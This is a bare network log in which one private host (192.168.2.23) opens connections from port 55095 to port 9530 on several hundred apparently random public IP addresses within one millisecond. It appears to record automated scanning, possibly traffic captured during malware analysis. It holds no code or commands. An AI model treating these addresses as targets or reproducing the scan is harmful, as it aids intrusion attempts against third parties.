May 16, 2024 16:38:52.979784012 CEST	55095	9530	192.168.2.23	59.213.249.158
May 16, 2024 16:38:52.979787111 CEST	55095	9530	192.168.2.23	5.130.79.38
May 16, 2024 16:38:52.979798079 CEST	55095	9530	192.168.2.23	44.153.108.247
May 16, 2024 16:38:52.979798079 CEST	55095	9530	192.168.2.23	121.121.74.148
May 16, 2024 16:38:52.979800940 CEST	55095	9530	192.168.2.23	203.133.219.228
May 16, 2024 16:38:52.979800940 CEST	55095	9530	192.168.2.23	72.126.107.249
May 16, 2024 16:38:52.979800940 CEST	55095	9530	192.168.2.23	118.31.159.157
May 16, 2024 16:38:52.979816914 CEST	55095	9530	192.168.2.23	109.196.14.45
May 16, 2024 16:38:52.979819059 CEST	55095	9530	192.168.2.23	95.155.60.252
May 16, 2024 16:38:52.979826927 CEST	55095	9530	192.168.2.23	157.165.145.84
May 16, 2024 16:38:52.979829073 CEST	55095	9530	192.168.2.23	70.152.25.229
May 16, 2024 16:38:52.979829073 CEST	55095	9530	192.168.2.23	168.210.141.80
May 16, 2024 16:38:52.979829073 CEST	55095	9530	192.168.2.23	73.6.187.219
May 16, 2024 16:38:52.979834080 CEST	55095	9530	192.168.2.23	185.240.92.158
May 16, 2024 16:38:52.979834080 CEST	55095	9530	192.168.2.23	34.131.142.44
May 16, 2024 16:38:52.979837894 CEST	55095	9530	192.168.2.23	131.167.35.143
May 16, 2024 16:38:52.979839087 CEST	55095	9530	192.168.2.23	194.42.159.81
May 16, 2024 16:38:52.979841948 CEST	55095	9530	192.168.2.23	218.162.42.186
May 16, 2024 16:38:52.979847908 CEST	55095	9530	192.168.2.23	99.200.81.141
May 16, 2024 16:38:52.979851961 CEST	55095	9530	192.168.2.23	164.24.170.125
May 16, 2024 16:38:52.979855061 CEST	55095	9530	192.168.2.23	157.217.78.109
May 16, 2024 16:38:52.979855061 CEST	55095	9530	192.168.2.23	209.78.103.135
May 16, 2024 16:38:52.979857922 CEST	55095	9530	192.168.2.23	162.103.34.79
May 16, 2024 16:38:52.979859114 CEST	55095	9530	192.168.2.23	9.107.217.91
May 16, 2024 16:38:52.979861021 CEST	55095	9530	192.168.2.23	189.163.244.201
May 16, 2024 16:38:52.979867935 CEST	55095	9530	192.168.2.23	115.124.242.60
May 16, 2024 16:38:52.979873896 CEST	55095	9530	192.168.2.23	102.54.88.141
May 16, 2024 16:38:52.979876995 CEST	55095	9530	192.168.2.23	166.26.178.167
May 16, 2024 16:38:52.979877949 CEST	55095	9530	192.168.2.23	193.172.69.25
May 16, 2024 16:38:52.979887009 CEST	55095	9530	192.168.2.23	24.174.0.152
May 16, 2024 16:38:52.979887009 CEST	55095	9530	192.168.2.23	154.223.101.63
May 16, 2024 16:38:52.979890108 CEST	55095	9530	192.168.2.23	191.208.22.173
May 16, 2024 16:38:52.979890108 CEST	55095	9530	192.168.2.23	87.188.108.97
May 16, 2024 16:38:52.979891062 CEST	55095	9530	192.168.2.23	210.172.253.14
May 16, 2024 16:38:52.979890108 CEST	55095	9530	192.168.2.23	75.21.222.245
May 16, 2024 16:38:52.979897022 CEST	55095	9530	192.168.2.23	162.196.137.139
May 16, 2024 16:38:52.979916096 CEST	55095	9530	192.168.2.23	24.119.85.171
May 16, 2024 16:38:52.979916096 CEST	55095	9530	192.168.2.23	201.65.130.162
May 16, 2024 16:38:52.979916096 CEST	55095	9530	192.168.2.23	44.30.100.131
May 16, 2024 16:38:52.979919910 CEST	55095	9530	192.168.2.23	83.98.31.195
May 16, 2024 16:38:52.979921103 CEST	55095	9530	192.168.2.23	153.168.189.50
May 16, 2024 16:38:52.979933977 CEST	55095	9530	192.168.2.23	48.94.211.138
May 16, 2024 16:38:52.979933977 CEST	55095	9530	192.168.2.23	18.72.244.209
May 16, 2024 16:38:52.979934931 CEST	55095	9530	192.168.2.23	99.169.125.186
May 16, 2024 16:38:52.979933977 CEST	55095	9530	192.168.2.23	189.243.87.39
May 16, 2024 16:38:52.979933977 CEST	55095	9530	192.168.2.23	186.190.115.91
May 16, 2024 16:38:52.979933977 CEST	55095	9530	192.168.2.23	63.108.28.91
May 16, 2024 16:38:52.979952097 CEST	55095	9530	192.168.2.23	12.218.77.246
May 16, 2024 16:38:52.979952097 CEST	55095	9530	192.168.2.23	107.9.18.135
May 16, 2024 16:38:52.979952097 CEST	55095	9530	192.168.2.23	83.244.57.201
May 16, 2024 16:38:52.979953051 CEST	55095	9530	192.168.2.23	193.205.193.217
May 16, 2024 16:38:52.979953051 CEST	55095	9530	192.168.2.23	8.146.63.204
May 16, 2024 16:38:52.979965925 CEST	55095	9530	192.168.2.23	5.20.118.51
May 16, 2024 16:38:52.979965925 CEST	55095	9530	192.168.2.23	49.187.150.31
May 16, 2024 16:38:52.979965925 CEST	55095	9530	192.168.2.23	37.16.101.156
May 16, 2024 16:38:52.979967117 CEST	55095	9530	192.168.2.23	189.5.32.4
May 16, 2024 16:38:52.979979992 CEST	55095	9530	192.168.2.23	83.210.137.146
May 16, 2024 16:38:52.979979992 CEST	55095	9530	192.168.2.23	25.62.125.41
May 16, 2024 16:38:52.979980946 CEST	55095	9530	192.168.2.23	161.34.52.233
May 16, 2024 16:38:52.979983091 CEST	55095	9530	192.168.2.23	35.246.91.53
May 16, 2024 16:38:52.979984045 CEST	55095	9530	192.168.2.23	179.163.104.79
May 16, 2024 16:38:52.979984045 CEST	55095	9530	192.168.2.23	153.139.208.206
May 16, 2024 16:38:52.979990959 CEST	55095	9530	192.168.2.23	75.223.12.209
May 16, 2024 16:38:52.979991913 CEST	55095	9530	192.168.2.23	166.221.80.153
May 16, 2024 16:38:52.979991913 CEST	55095	9530	192.168.2.23	90.145.54.157
May 16, 2024 16:38:52.979991913 CEST	55095	9530	192.168.2.23	134.55.146.37
May 16, 2024 16:38:52.979991913 CEST	55095	9530	192.168.2.23	8.249.202.139
May 16, 2024 16:38:52.979994059 CEST	55095	9530	192.168.2.23	27.155.142.217
May 16, 2024 16:38:52.980003119 CEST	55095	9530	192.168.2.23	140.174.163.91
May 16, 2024 16:38:52.980009079 CEST	55095	9530	192.168.2.23	101.197.13.90
May 16, 2024 16:38:52.980011940 CEST	55095	9530	192.168.2.23	135.214.127.15
May 16, 2024 16:38:52.980015039 CEST	55095	9530	192.168.2.23	32.70.78.194
May 16, 2024 16:38:52.980015993 CEST	55095	9530	192.168.2.23	190.84.103.81
May 16, 2024 16:38:52.980015993 CEST	55095	9530	192.168.2.23	14.108.48.187
May 16, 2024 16:38:52.980015993 CEST	55095	9530	192.168.2.23	69.159.175.194
May 16, 2024 16:38:52.980015993 CEST	55095	9530	192.168.2.23	172.85.29.223
May 16, 2024 16:38:52.980019093 CEST	55095	9530	192.168.2.23	23.137.86.99
May 16, 2024 16:38:52.980019093 CEST	55095	9530	192.168.2.23	114.224.4.199
May 16, 2024 16:38:52.980031013 CEST	55095	9530	192.168.2.23	19.25.172.44
May 16, 2024 16:38:52.980045080 CEST	55095	9530	192.168.2.23	40.187.9.157
May 16, 2024 16:38:52.980045080 CEST	55095	9530	192.168.2.23	137.121.23.51
May 16, 2024 16:38:52.980055094 CEST	55095	9530	192.168.2.23	82.234.74.38
May 16, 2024 16:38:52.980058908 CEST	55095	9530	192.168.2.23	125.215.91.78
May 16, 2024 16:38:52.980060101 CEST	55095	9530	192.168.2.23	205.140.153.20
May 16, 2024 16:38:52.980065107 CEST	55095	9530	192.168.2.23	185.126.170.155
May 16, 2024 16:38:52.980065107 CEST	55095	9530	192.168.2.23	46.179.26.90
May 16, 2024 16:38:52.980065107 CEST	55095	9530	192.168.2.23	102.45.150.16
May 16, 2024 16:38:52.980065107 CEST	55095	9530	192.168.2.23	221.236.106.240
May 16, 2024 16:38:52.980071068 CEST	55095	9530	192.168.2.23	115.22.214.69
May 16, 2024 16:38:52.980072975 CEST	55095	9530	192.168.2.23	116.98.94.25
May 16, 2024 16:38:52.980073929 CEST	55095	9530	192.168.2.23	115.54.48.2
May 16, 2024 16:38:52.980081081 CEST	55095	9530	192.168.2.23	223.23.36.145
May 16, 2024 16:38:52.980083942 CEST	55095	9530	192.168.2.23	85.26.136.30
May 16, 2024 16:38:52.980087042 CEST	55095	9530	192.168.2.23	122.190.44.254
May 16, 2024 16:38:52.980089903 CEST	55095	9530	192.168.2.23	148.189.155.138
May 16, 2024 16:38:52.980093002 CEST	55095	9530	192.168.2.23	131.59.106.230
May 16, 2024 16:38:52.980093002 CEST	55095	9530	192.168.2.23	167.117.206.198
May 16, 2024 16:38:52.980104923 CEST	55095	9530	192.168.2.23	210.190.107.175
May 16, 2024 16:38:52.980104923 CEST	55095	9530	192.168.2.23	131.83.98.41
May 16, 2024 16:38:52.980113983 CEST	55095	9530	192.168.2.23	212.43.83.243
May 16, 2024 16:38:52.980114937 CEST	55095	9530	192.168.2.23	139.26.112.131
May 16, 2024 16:38:52.980115891 CEST	55095	9530	192.168.2.23	54.187.219.184
May 16, 2024 16:38:52.980115891 CEST	55095	9530	192.168.2.23	1.145.136.18
May 16, 2024 16:38:52.980115891 CEST	55095	9530	192.168.2.23	2.68.166.25
May 16, 2024 16:38:52.980115891 CEST	55095	9530	192.168.2.23	216.182.239.94
May 16, 2024 16:38:52.980119944 CEST	55095	9530	192.168.2.23	58.134.127.136
May 16, 2024 16:38:52.980119944 CEST	55095	9530	192.168.2.23	52.233.150.250
May 16, 2024 16:38:52.980119944 CEST	55095	9530	192.168.2.23	1.51.163.111
May 16, 2024 16:38:52.980119944 CEST	55095	9530	192.168.2.23	119.125.156.63
May 16, 2024 16:38:52.980123043 CEST	55095	9530	192.168.2.23	141.201.12.163
May 16, 2024 16:38:52.980127096 CEST	55095	9530	192.168.2.23	37.62.9.226
May 16, 2024 16:38:52.980129957 CEST	55095	9530	192.168.2.23	152.219.189.136
May 16, 2024 16:38:52.980130911 CEST	55095	9530	192.168.2.23	155.88.124.110
May 16, 2024 16:38:52.980143070 CEST	55095	9530	192.168.2.23	88.189.54.235
May 16, 2024 16:38:52.980143070 CEST	55095	9530	192.168.2.23	196.188.72.12
May 16, 2024 16:38:52.980155945 CEST	55095	9530	192.168.2.23	53.242.149.108
May 16, 2024 16:38:52.980155945 CEST	55095	9530	192.168.2.23	90.43.175.36
May 16, 2024 16:38:52.980155945 CEST	55095	9530	192.168.2.23	64.148.79.176
May 16, 2024 16:38:52.980156898 CEST	55095	9530	192.168.2.23	220.81.173.76
May 16, 2024 16:38:52.980156898 CEST	55095	9530	192.168.2.23	156.159.111.168
May 16, 2024 16:38:52.980158091 CEST	55095	9530	192.168.2.23	61.247.128.139
May 16, 2024 16:38:52.980158091 CEST	55095	9530	192.168.2.23	103.232.136.189
May 16, 2024 16:38:52.980161905 CEST	55095	9530	192.168.2.23	115.101.152.203
May 16, 2024 16:38:52.980163097 CEST	55095	9530	192.168.2.23	171.180.97.78
May 16, 2024 16:38:52.980163097 CEST	55095	9530	192.168.2.23	177.23.157.121
May 16, 2024 16:38:52.980174065 CEST	55095	9530	192.168.2.23	47.207.76.5
May 16, 2024 16:38:52.980175018 CEST	55095	9530	192.168.2.23	104.80.7.119
May 16, 2024 16:38:52.980175018 CEST	55095	9530	192.168.2.23	141.75.157.181
May 16, 2024 16:38:52.980176926 CEST	55095	9530	192.168.2.23	131.6.41.81
May 16, 2024 16:38:52.980178118 CEST	55095	9530	192.168.2.23	101.27.28.180
May 16, 2024 16:38:52.980178118 CEST	55095	9530	192.168.2.23	149.114.100.194
May 16, 2024 16:38:52.980189085 CEST	55095	9530	192.168.2.23	46.101.7.235
May 16, 2024 16:38:52.980192900 CEST	55095	9530	192.168.2.23	60.4.107.174
May 16, 2024 16:38:52.980195999 CEST	55095	9530	192.168.2.23	39.11.248.243
May 16, 2024 16:38:52.980195999 CEST	55095	9530	192.168.2.23	45.169.163.236
May 16, 2024 16:38:52.980199099 CEST	55095	9530	192.168.2.23	73.205.117.3
May 16, 2024 16:38:52.980205059 CEST	55095	9530	192.168.2.23	222.113.56.192
May 16, 2024 16:38:52.980206966 CEST	55095	9530	192.168.2.23	13.169.202.10
May 16, 2024 16:38:52.980223894 CEST	55095	9530	192.168.2.23	53.31.48.131
May 16, 2024 16:38:52.980223894 CEST	55095	9530	192.168.2.23	17.25.72.162
May 16, 2024 16:38:52.980223894 CEST	55095	9530	192.168.2.23	74.147.192.76
May 16, 2024 16:38:52.980223894 CEST	55095	9530	192.168.2.23	183.7.209.70
May 16, 2024 16:38:52.980223894 CEST	55095	9530	192.168.2.23	110.188.116.223
May 16, 2024 16:38:52.980223894 CEST	55095	9530	192.168.2.23	12.104.227.35
May 16, 2024 16:38:52.980228901 CEST	55095	9530	192.168.2.23	140.154.77.8
May 16, 2024 16:38:52.980228901 CEST	55095	9530	192.168.2.23	37.198.140.203
May 16, 2024 16:38:52.980230093 CEST	55095	9530	192.168.2.23	202.97.247.227
May 16, 2024 16:38:52.980232954 CEST	55095	9530	192.168.2.23	184.155.112.81
May 16, 2024 16:38:52.980240107 CEST	55095	9530	192.168.2.23	201.34.88.197
May 16, 2024 16:38:52.980232954 CEST	55095	9530	192.168.2.23	38.154.94.29
May 16, 2024 16:38:52.980247974 CEST	55095	9530	192.168.2.23	18.123.154.170
May 16, 2024 16:38:52.980247974 CEST	55095	9530	192.168.2.23	205.205.247.1
May 16, 2024 16:38:52.980247974 CEST	55095	9530	192.168.2.23	147.42.99.65
May 16, 2024 16:38:52.980247974 CEST	55095	9530	192.168.2.23	194.163.77.158
May 16, 2024 16:38:52.980256081 CEST	55095	9530	192.168.2.23	76.140.58.37
May 16, 2024 16:38:52.980257034 CEST	55095	9530	192.168.2.23	95.2.157.242
May 16, 2024 16:38:52.980257034 CEST	55095	9530	192.168.2.23	86.0.253.82
May 16, 2024 16:38:52.980262041 CEST	55095	9530	192.168.2.23	211.186.180.137
May 16, 2024 16:38:52.980262041 CEST	55095	9530	192.168.2.23	42.4.170.252
May 16, 2024 16:38:52.980264902 CEST	55095	9530	192.168.2.23	75.3.233.51
May 16, 2024 16:38:52.980264902 CEST	55095	9530	192.168.2.23	23.206.188.116
May 16, 2024 16:38:52.980264902 CEST	55095	9530	192.168.2.23	51.205.53.112
May 16, 2024 16:38:52.980268002 CEST	55095	9530	192.168.2.23	112.113.112.244
May 16, 2024 16:38:52.980268002 CEST	55095	9530	192.168.2.23	186.182.231.130
May 16, 2024 16:38:52.980272055 CEST	55095	9530	192.168.2.23	107.122.214.162
May 16, 2024 16:38:52.980282068 CEST	55095	9530	192.168.2.23	153.144.228.255
May 16, 2024 16:38:52.980282068 CEST	55095	9530	192.168.2.23	53.193.113.77
May 16, 2024 16:38:52.980282068 CEST	55095	9530	192.168.2.23	38.11.217.24
May 16, 2024 16:38:52.980292082 CEST	55095	9530	192.168.2.23	163.9.188.39
May 16, 2024 16:38:52.980295897 CEST	55095	9530	192.168.2.23	77.157.14.159
May 16, 2024 16:38:52.980295897 CEST	55095	9530	192.168.2.23	75.196.108.174
May 16, 2024 16:38:52.980304956 CEST	55095	9530	192.168.2.23	48.175.197.229
May 16, 2024 16:38:52.980304956 CEST	55095	9530	192.168.2.23	126.106.47.134
May 16, 2024 16:38:52.980309963 CEST	55095	9530	192.168.2.23	81.137.184.196
May 16, 2024 16:38:52.980309963 CEST	55095	9530	192.168.2.23	122.188.212.128
May 16, 2024 16:38:52.980312109 CEST	55095	9530	192.168.2.23	222.30.2.84
May 16, 2024 16:38:52.980313063 CEST	55095	9530	192.168.2.23	49.172.137.7
May 16, 2024 16:38:52.980320930 CEST	55095	9530	192.168.2.23	97.44.29.111
May 16, 2024 16:38:52.980324030 CEST	55095	9530	192.168.2.23	31.249.50.208
May 16, 2024 16:38:52.980324984 CEST	55095	9530	192.168.2.23	31.59.1.21
May 16, 2024 16:38:52.980324984 CEST	55095	9530	192.168.2.23	44.159.249.193
May 16, 2024 16:38:52.980324984 CEST	55095	9530	192.168.2.23	133.126.241.192
May 16, 2024 16:38:52.980333090 CEST	55095	9530	192.168.2.23	75.9.163.25
May 16, 2024 16:38:52.980333090 CEST	55095	9530	192.168.2.23	133.11.128.254
May 16, 2024 16:38:52.980334997 CEST	55095	9530	192.168.2.23	62.37.9.172
May 16, 2024 16:38:52.980334997 CEST	55095	9530	192.168.2.23	75.105.208.196
May 16, 2024 16:38:52.980335951 CEST	55095	9530	192.168.2.23	149.209.146.150
May 16, 2024 16:38:52.980335951 CEST	55095	9530	192.168.2.23	114.239.143.110
May 16, 2024 16:38:52.980340958 CEST	55095	9530	192.168.2.23	120.14.211.122
May 16, 2024 16:38:52.980345011 CEST	55095	9530	192.168.2.23	179.110.165.218
May 16, 2024 16:38:52.980345011 CEST	55095	9530	192.168.2.23	208.213.77.223
May 16, 2024 16:38:52.980345011 CEST	55095	9530	192.168.2.23	204.110.189.47
May 16, 2024 16:38:52.980355978 CEST	55095	9530	192.168.2.23	211.74.55.119
May 16, 2024 16:38:52.980355978 CEST	55095	9530	192.168.2.23	206.59.133.160
May 16, 2024 16:38:52.980355978 CEST	55095	9530	192.168.2.23	25.185.117.147
May 16, 2024 16:38:52.980356932 CEST	55095	9530	192.168.2.23	195.228.204.247
May 16, 2024 16:38:52.980375051 CEST	55095	9530	192.168.2.23	189.52.111.55
May 16, 2024 16:38:52.980380058 CEST	55095	9530	192.168.2.23	121.92.130.181
May 16, 2024 16:38:52.980381966 CEST	55095	9530	192.168.2.23	32.160.139.109
May 16, 2024 16:38:52.980396986 CEST	55095	9530	192.168.2.23	135.145.210.114
May 16, 2024 16:38:52.980396986 CEST	55095	9530	192.168.2.23	156.151.17.24
May 16, 2024 16:38:52.980405092 CEST	55095	9530	192.168.2.23	45.159.80.190
May 16, 2024 16:38:52.980405092 CEST	55095	9530	192.168.2.23	75.197.170.120
May 16, 2024 16:38:52.980405092 CEST	55095	9530	192.168.2.23	123.162.44.181
May 16, 2024 16:38:52.980406046 CEST	55095	9530	192.168.2.23	123.184.200.116
May 16, 2024 16:38:52.980405092 CEST	55095	9530	192.168.2.23	70.34.97.76
May 16, 2024 16:38:52.980406046 CEST	55095	9530	192.168.2.23	54.41.31.11
May 16, 2024 16:38:52.980405092 CEST	55095	9530	192.168.2.23	195.221.142.20
May 16, 2024 16:38:52.980406046 CEST	55095	9530	192.168.2.23	206.210.127.47
May 16, 2024 16:38:52.980405092 CEST	55095	9530	192.168.2.23	167.43.106.161
May 16, 2024 16:38:52.980424881 CEST	55095	9530	192.168.2.23	86.124.100.217
May 16, 2024 16:38:52.980432034 CEST	55095	9530	192.168.2.23	144.172.134.108
May 16, 2024 16:38:52.980432034 CEST	55095	9530	192.168.2.23	157.105.199.179
May 16, 2024 16:38:52.980443001 CEST	55095	9530	192.168.2.23	135.110.204.124
May 16, 2024 16:38:52.980443001 CEST	55095	9530	192.168.2.23	152.83.170.201
May 16, 2024 16:38:52.980443001 CEST	55095	9530	192.168.2.23	193.81.150.30
May 16, 2024 16:38:52.980443001 CEST	55095	9530	192.168.2.23	177.43.134.206
May 16, 2024 16:38:52.980448961 CEST	55095	9530	192.168.2.23	108.11.172.48
May 16, 2024 16:38:52.980458975 CEST	55095	9530	192.168.2.23	205.132.13.121
May 16, 2024 16:38:52.980458975 CEST	55095	9530	192.168.2.23	42.72.71.142
May 16, 2024 16:38:52.980460882 CEST	55095	9530	192.168.2.23	206.210.216.198
May 16, 2024 16:38:52.980458975 CEST	55095	9530	192.168.2.23	23.238.69.3
May 16, 2024 16:38:52.980464935 CEST	55095	9530	192.168.2.23	125.145.72.248
May 16, 2024 16:38:52.980475903 CEST	55095	9530	192.168.2.23	76.32.204.210
May 16, 2024 16:38:52.980484962 CEST	55095	9530	192.168.2.23	52.138.139.244
May 16, 2024 16:38:52.980484962 CEST	55095	9530	192.168.2.23	114.223.171.231
May 16, 2024 16:38:52.980499029 CEST	55095	9530	192.168.2.23	75.111.71.40
May 16, 2024 16:38:52.980503082 CEST	55095	9530	192.168.2.23	141.239.14.8
May 16, 2024 16:38:52.980521917 CEST	55095	9530	192.168.2.23	131.55.130.56
May 16, 2024 16:38:52.980529070 CEST	55095	9530	192.168.2.23	135.36.22.103
May 16, 2024 16:38:52.980535030 CEST	55095	9530	192.168.2.23	153.105.250.158
May 16, 2024 16:38:52.980535030 CEST	55095	9530	192.168.2.23	190.244.203.168
May 16, 2024 16:38:52.980535030 CEST	55095	9530	192.168.2.23	116.59.152.46
May 16, 2024 16:38:52.980535030 CEST	55095	9530	192.168.2.23	4.32.253.66
May 16, 2024 16:38:52.980535030 CEST	55095	9530	192.168.2.23	106.53.185.145
May 16, 2024 16:38:52.980535984 CEST	55095	9530	192.168.2.23	101.82.253.32
May 16, 2024 16:38:52.980535984 CEST	55095	9530	192.168.2.23	131.254.162.11
May 16, 2024 16:38:52.980535984 CEST	55095	9530	192.168.2.23	161.147.65.193
May 16, 2024 16:38:52.980545044 CEST	55095	9530	192.168.2.23	14.83.43.213
May 16, 2024 16:38:52.980547905 CEST	55095	9530	192.168.2.23	9.238.39.57
May 16, 2024 16:38:52.980551958 CEST	55095	9530	192.168.2.23	149.23.40.221
May 16, 2024 16:38:52.980556965 CEST	55095	9530	192.168.2.23	62.54.45.230
May 16, 2024 16:38:52.980564117 CEST	55095	9530	192.168.2.23	36.222.140.164
May 16, 2024 16:38:52.980568886 CEST	55095	9530	192.168.2.23	160.196.174.20
May 16, 2024 16:38:52.980570078 CEST	55095	9530	192.168.2.23	131.77.238.92
May 16, 2024 16:38:52.980573893 CEST	55095	9530	192.168.2.23	148.206.203.4
May 16, 2024 16:38:52.980573893 CEST	55095	9530	192.168.2.23	8.210.187.85
May 16, 2024 16:38:52.980576992 CEST	55095	9530	192.168.2.23	136.224.197.74
May 16, 2024 16:38:52.980581045 CEST	55095	9530	192.168.2.23	162.154.135.162
May 16, 2024 16:38:52.980583906 CEST	55095	9530	192.168.2.23	52.206.243.227
May 16, 2024 16:38:52.980585098 CEST	55095	9530	192.168.2.23	80.187.125.115
May 16, 2024 16:38:52.980585098 CEST	55095	9530	192.168.2.23	75.32.158.47
May 16, 2024 16:38:52.980583906 CEST	55095	9530	192.168.2.23	89.178.53.94
May 16, 2024 16:38:52.980587006 CEST	55095	9530	192.168.2.23	72.15.218.57
May 16, 2024 16:38:52.980583906 CEST	55095	9530	192.168.2.23	163.242.97.254
May 16, 2024 16:38:52.980587959 CEST	55095	9530	192.168.2.23	104.96.231.97
May 16, 2024 16:38:52.980583906 CEST	55095	9530	192.168.2.23	156.56.221.34
May 16, 2024 16:38:52.980587959 CEST	55095	9530	192.168.2.23	218.176.30.251
May 16, 2024 16:38:52.980597973 CEST	55095	9530	192.168.2.23	9.17.16.60
May 16, 2024 16:38:52.980618954 CEST	55095	9530	192.168.2.23	63.185.228.168
May 16, 2024 16:38:52.980621099 CEST	55095	9530	192.168.2.23	203.173.249.129
May 16, 2024 16:38:52.980621099 CEST	55095	9530	192.168.2.23	73.102.187.79
May 16, 2024 16:38:52.980621099 CEST	55095	9530	192.168.2.23	108.123.88.13
May 16, 2024 16:38:52.980621099 CEST	55095	9530	192.168.2.23	13.16.123.8
May 16, 2024 16:38:52.980622053 CEST	55095	9530	192.168.2.23	65.254.112.42
May 16, 2024 16:38:52.980621099 CEST	55095	9530	192.168.2.23	194.135.97.205
May 16, 2024 16:38:52.980624914 CEST	55095	9530	192.168.2.23	126.150.42.50
May 16, 2024 16:38:52.980622053 CEST	55095	9530	192.168.2.23	220.106.199.224
May 16, 2024 16:38:52.980624914 CEST	55095	9530	192.168.2.23	101.139.164.253
May 16, 2024 16:38:52.980621099 CEST	55095	9530	192.168.2.23	68.147.222.204
May 16, 2024 16:38:52.980632067 CEST	55095	9530	192.168.2.23	163.121.221.47
May 16, 2024 16:38:52.980633020 CEST	55095	9530	192.168.2.23	74.253.73.96
May 16, 2024 16:38:52.980645895 CEST	55095	9530	192.168.2.23	169.219.25.134
May 16, 2024 16:38:52.980652094 CEST	55095	9530	192.168.2.23	66.140.186.122
May 16, 2024 16:38:52.980652094 CEST	55095	9530	192.168.2.23	85.100.176.38
May 16, 2024 16:38:52.980652094 CEST	55095	9530	192.168.2.23	17.235.190.166
May 16, 2024 16:38:52.980655909 CEST	55095	9530	192.168.2.23	156.65.130.204
May 16, 2024 16:38:52.980655909 CEST	55095	9530	192.168.2.23	138.67.231.189
May 16, 2024 16:38:52.980657101 CEST	55095	9530	192.168.2.23	195.198.164.200
May 16, 2024 16:38:52.980659962 CEST	55095	9530	192.168.2.23	24.74.229.100
May 16, 2024 16:38:52.980659962 CEST	55095	9530	192.168.2.23	181.225.140.238
May 16, 2024 16:38:52.980659962 CEST	55095	9530	192.168.2.23	220.181.162.14
May 16, 2024 16:38:52.980660915 CEST	55095	9530	192.168.2.23	43.166.213.3
May 16, 2024 16:38:52.980662107 CEST	55095	9530	192.168.2.23	82.7.39.29
May 16, 2024 16:38:52.980681896 CEST	55095	9530	192.168.2.23	68.244.148.156
May 16, 2024 16:38:52.980683088 CEST	55095	9530	192.168.2.23	139.44.144.254
May 16, 2024 16:38:52.980684996 CEST	55095	9530	192.168.2.23	59.142.41.154
May 16, 2024 16:38:52.980685949 CEST	55095	9530	192.168.2.23	112.172.137.164
May 16, 2024 16:38:52.980685949 CEST	55095	9530	192.168.2.23	159.63.244.204
May 16, 2024 16:38:52.980701923 CEST	55095	9530	192.168.2.23	45.204.13.13
May 16, 2024 16:38:52.980701923 CEST	55095	9530	192.168.2.23	153.96.227.236
May 16, 2024 16:38:52.980703115 CEST	55095	9530	192.168.2.23	5.15.75.29
May 16, 2024 16:38:52.980707884 CEST	55095	9530	192.168.2.23	159.39.53.44
May 16, 2024 16:38:52.980710030 CEST	55095	9530	192.168.2.23	57.244.160.50
May 16, 2024 16:38:52.980710030 CEST	55095	9530	192.168.2.23	37.162.196.116
May 16, 2024 16:38:52.980711937 CEST	55095	9530	192.168.2.23	118.222.130.136
May 16, 2024 16:38:52.980715990 CEST	55095	9530	192.168.2.23	52.40.235.239
May 16, 2024 16:38:52.980725050 CEST	55095	9530	192.168.2.23	146.24.105.46
May 16, 2024 16:38:52.980725050 CEST	55095	9530	192.168.2.23	139.169.64.135
May 16, 2024 16:38:52.980726957 CEST	55095	9530	192.168.2.23	180.118.37.203
May 16, 2024 16:38:52.980734110 CEST	55095	9530	192.168.2.23	143.1.116.42
May 16, 2024 16:38:52.980751991 CEST	55095	9530	192.168.2.23	144.218.189.19
May 16, 2024 16:38:52.980751991 CEST	55095	9530	192.168.2.23	146.169.30.245
May 16, 2024 16:38:52.980753899 CEST	55095	9530	192.168.2.23	93.15.190.158
May 16, 2024 16:38:52.980755091 CEST	55095	9530	192.168.2.23	4.110.253.253
May 16, 2024 16:38:52.980755091 CEST	55095	9530	192.168.2.23	158.225.64.73
May 16, 2024 16:38:52.980756044 CEST	55095	9530	192.168.2.23	112.228.33.103
May 16, 2024 16:38:52.980756998 CEST	55095	9530	192.168.2.23	180.202.154.134
May 16, 2024 16:38:52.980756998 CEST	55095	9530	192.168.2.23	136.87.185.69
May 16, 2024 16:38:52.980776072 CEST	55095	9530	192.168.2.23	208.3.17.170
May 16, 2024 16:38:52.980776072 CEST	55095	9530	192.168.2.23	108.150.38.154
May 16, 2024 16:38:52.980782032 CEST	55095	9530	192.168.2.23	58.21.191.209
May 16, 2024 16:38:52.980782032 CEST	55095	9530	192.168.2.23	211.25.4.218
May 16, 2024 16:38:52.980782986 CEST	55095	9530	192.168.2.23	150.67.41.154
May 16, 2024 16:38:52.980783939 CEST	55095	9530	192.168.2.23	146.192.162.222
May 16, 2024 16:38:52.980783939 CEST	55095	9530	192.168.2.23	50.191.80.114
May 16, 2024 16:38:52.980783939 CEST	55095	9530	192.168.2.23	151.22.117.195
May 16, 2024 16:38:52.980786085 CEST	55095	9530	192.168.2.23	74.142.152.156
May 16, 2024 16:38:52.980786085 CEST	55095	9530	192.168.2.23	177.156.130.252
May 16, 2024 16:38:52.980794907 CEST	55095	9530	192.168.2.23	47.179.4.168
May 16, 2024 16:38:52.980794907 CEST	55095	9530	192.168.2.23	146.105.235.206
May 16, 2024 16:38:52.980798006 CEST	55095	9530	192.168.2.23	18.144.197.112
May 16, 2024 16:38:52.980798006 CEST	55095	9530	192.168.2.23	219.243.10.94
May 16, 2024 16:38:52.980798006 CEST	55095	9530	192.168.2.23	184.49.116.59
May 16, 2024 16:38:52.980798960 CEST	55095	9530	192.168.2.23	191.58.147.17
May 16, 2024 16:38:52.980799913 CEST	55095	9530	192.168.2.23	57.45.132.49
May 16, 2024 16:38:52.980798006 CEST	55095	9530	192.168.2.23	176.218.223.226
May 16, 2024 16:38:52.980798960 CEST	55095	9530	192.168.2.23	34.189.141.102
May 16, 2024 16:38:52.980798960 CEST	55095	9530	192.168.2.23	50.50.40.155
May 16, 2024 16:38:52.980798006 CEST	55095	9530	192.168.2.23	87.41.244.174
May 16, 2024 16:38:52.980807066 CEST	55095	9530	192.168.2.23	140.35.166.130
May 16, 2024 16:38:52.980807066 CEST	55095	9530	192.168.2.23	156.241.203.105
May 16, 2024 16:38:52.980817080 CEST	55095	9530	192.168.2.23	162.84.120.180
May 16, 2024 16:38:52.980817080 CEST	55095	9530	192.168.2.23	39.205.242.53
May 16, 2024 16:38:52.980819941 CEST	55095	9530	192.168.2.23	164.76.69.145
May 16, 2024 16:38:52.980829954 CEST	55095	9530	192.168.2.23	142.20.255.227
May 16, 2024 16:38:52.980829954 CEST	55095	9530	192.168.2.23	12.118.226.36
May 16, 2024 16:38:52.980830908 CEST	55095	9530	192.168.2.23	130.161.133.236
May 16, 2024 16:38:52.980830908 CEST	55095	9530	192.168.2.23	146.49.220.181
May 16, 2024 16:38:52.980833054 CEST	55095	9530	192.168.2.23	23.171.104.51
